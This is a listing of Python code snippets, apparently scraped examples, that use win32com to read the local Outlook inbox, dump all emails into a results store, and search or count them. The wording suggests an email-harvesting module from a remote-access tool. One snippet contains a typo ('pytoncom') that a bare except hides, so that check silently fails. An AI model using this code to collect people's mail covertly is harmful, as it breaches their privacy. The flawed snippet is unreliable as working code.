Example #1
0
def dump():
    if os.name == 'nt':
        try:
            pythoncom.CoInitialize()
            outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
            inbox   = outlook.GetDefaultFolder(6)
            emails  = util.emails(inbox.Items)
            results.update(emails)
            return "%d emails dumped to results" % len(emails)
        except Exception as e:
            util.debug("{} error: {}".format(dump.func_name, str(e)))
Example #2
0
def search(s):
    """
    Search the emails in the Outlook inbox
    """
    pythoncom.CoInitialize()
    outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
    inbox   = outlook.GetDefaultFolder(6)
    emails  = util.emails(inbox.Items)
    for k,v in emails.items():
        if s not in v.get('message') and s not in v.get('subject') and s not in v.get('from'):
            emails.pop(k,v)
    return json.dumps(emails, indent=2)
Example #3
0
def search(s):
    if os.name == 'nt':
        try:
            pythoncom.CoInitialize()
            outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
            inbox   = outlook.GetDefaultFolder(6)
            emails  = util.emails(inbox.Items)
            for k,v in emails.items():
                if s not in v.get('message') and s not in v.get('subject') and s not in v.get('from'):
                    emails.pop(k,v)
            return json.dumps(emails, indent=2)
        except Exception as e:
            util.debug("{} error: {}".format(search.func_name, str(e)))
Example #4
0
    if os.name == 'nt':
        try:
            pytoncom.CoInitialize()
            outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
            return True
        except:
            return False


def search(s):
    if os.name == 'nt':
        try:
            pythoncom.CoInitialize()
            outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
            inbox   = outlook.GetDefaultFolder(6)
            emails  = util.emails(inbox.Items)
            for k,v in emails.items():
                if s not in v.get('message') and s not in v.get('subject') and s not in v.get('from'):
                    emails.pop(k,v)
            return json.dumps(emails, indent=2)
        except Exception as e:
            util.debug("{} error: {}".format(search.func_name, str(e)))


def count():
    if os.name == 'nt':
        try:
            pythoncom.CoInitialize()
            outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
            inbox   = outlook.GetDefaultFolder(6)
            emails  = inbox.Items